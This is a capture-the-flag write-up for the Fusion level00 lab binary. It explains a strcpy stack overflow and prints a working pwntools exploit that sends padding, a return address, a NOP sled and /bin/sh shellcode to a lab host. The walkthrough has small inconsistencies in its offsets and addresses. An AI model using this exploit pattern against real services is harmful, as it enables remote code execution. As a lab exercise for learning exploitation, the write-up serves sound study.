Fusion level00 write-up
Hi all I decided to come back with a series of random binary exploitation I’ll solve exercises from different websites CTF, vuln machine etc .. ,The point is that I’ll not stick to one site so we can learn different techniques and methods of Binary exploitation.
That’s being said let’s start by analyzing the C source code.
#include “../common/common.c” int fix_path(char *path) { char resolved[128]; if(realpath(path, resolved) == NULL) return 1; // can’t access path. will error trying to open strcpy(path, resolved); } char *parse_http_request() { char buffer[1024]; char *path; char *q; printf(“[debug] buffer is at 0x%08x :-)\n”, buffer); if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, “Failed to read from remote host”); if(memcmp(buffer, “GET “, 4) != 0) errx(0, “Not a GET request”); path = &buffer[4]; q = strchr(path, ‘ ‘); if(! q) errx(0, “No protocol version specified”); *q++ = 0; if(strncmp(q, “HTTP/1.1”, 8) != 0) errx(0, “Invalid protocol”); fix_path(path); printf(“trying to access %s\n”, path); return path; } int main(int argc, char **argv, char **envp) { int fd; char *p; background_process(NAME, UID, GID); fd = serve_forever(PORT); set_io(fd); parse_http_request(); } |
So the first thing we note here is that the main method starts a deamon process which is a background process, then we can see parse_http_request() what basically this function will do is that it’ll check if the request is valid or not what I mean by that is every request has to include this String GET[space]path[space]HTTP/1.1 from the source code you can see that the path variable is pointing to path = &buffer[4]; value to buffer’s address+4. If our request is valid we will go to fix_path(char *path) function obviously it’s clear now what we have to exploit the strcpy() function.I hope everything is clear now go and give it a try.!
Exploiting time, first of all this should be a remote exploit because the binary is listing on some PORT we can easily get the PORT by issuing this command.
fusion@fusion:/opt/fusion/bin$ ps aux | grep level00 20000 1250 0.0 0.0 1816 256 ? Ss Jan21 0:00 /opt/fusion/bin/level00 fusion 2877 0.0 0.0 4184 796 pts/0 S+ 00:58 0:00 grep –color=auto level00 |
Now we know on what PORT this binary is listing so the next port is to create a python script to determine the offset to overwrite the return address.
from pwn import * r = remote(“10.0.2.25”,20000) print(r.recvuntil(‘)\n’)) r.sendline(b”GET ” + b”A”*139 + b” HTTP/1.1″) r.interactive() |
After some trials and guessing we got the offset to return address 139
You must attach the process to the gdb by first issuing these commands
sudo gdb
gdb-peda$ attach <PID-OF-LEVEL00>
Then continue the execution and run the python script
gdb-peda$ c [New process 3710] Program received signal SIGSEGV, Segmentation fault. [Switching to process 3710] ‘Undefined command: c\x00\x00\x00o\x00\x00\x00n\x00\x00\x00t\x00\x00\x00e\x00\x00\x00x\x00\x00\x00t\x00\x00\x00. Try “peda help”‘ ‘Undefined command: s\x00\x00\x00e\x00\x00\x00s\x00\x00\x00s\x00\x00\x00i\x00\x00\x00o\x00\x00\x00n\x00\x00\x00. Try “peda help”‘ 0x41414141 in ?? () |
So far so good we just have to craft our exploit properly let’s first check the security mitigation of this binary.
root@kali:~/fusion# checksec level00 [*] ‘/root/fusion/level00’ Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments |
So there’s no any security mitigations for this binary let’s now craft out exploit
from pwn import * shellcode = b”\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80″ #online shell code back = p32(0xbffff98c) # the address to our shellcode payload = b”” payload += b”A”*139 # the offset to reach eip is 139 payload += back payload += b”\x90″*4 payload += shellcode r = remote(“10.0.2.25”,20000) print(r.recvuntil(‘)\n’)) r.sendline(b”GET ” + payload + b” HTTP/1.1″) r.interactive() |
We got the return address by analyzing the stack if we modify this
from pwn import *
r = remote(“10.0.2.25”,20000)
print(r.recvuntil(‘)\n’))
r.sendline(b”GET ” + b”A”*139 + b“B” + b” HTTP/1.1″)
r.interactive()
gdb-peda$ c [New process 4111] Program received signal SIGSEGV, Segmentation fault. [Switching to process 4111] ‘Undefined command: c\x00\x00\x00o\x00\x00\x00n\x00\x00\x00t\x00\x00\x00e\x00\x00\x00x\x00\x00\x00t\x00\x00\x00. Try “peda help”‘ ‘Undefined command: s\x00\x00\x00e\x00\x00\x00s\x00\x00\x00s\x00\x00\x00i\x00\x00\x00o\x00\x00\x00n\x00\x00\x00. Try “peda help”‘ 0x42424242 in ?? () gdb-peda$ x/50wx $esp 0xbfa0a190: 0xbfa0a100 0x00000020 0x00000004 0x001761e4 0xbfa0a1a0: 0x001761e4 0x000027d8 0x20544547 0x41414141 0xbfa0a1b0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfa0a1c0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfa0a1d0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfa0a1e0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfa0a1f0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfa0a200: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfa0a210: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfa0a220: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfa0a230: 0x41414141 0x42414141 0x00424242 0x50545448 0xbfa0a240: 0x312e312f 0xb7856b0a 0xb7856858 0x080485f5 0xbfa0a250: 0xb76dbff0 0x0804846c |
We can observe that the “BBBB” is on 0xbfa0a237 so if we will put 4 bytes NOP sled and then our shell code and get the address of the Nope sled on the stack so get any address after 0xbfa0a237 and put it as return address so it’ll jump to your Nope sled and then execute your shellcode. Please not that the addresses may varies between your execution and mine just follow the steps and you’ll be fine.
If you have any questions please contact me on omaroobaniessa@gmail.com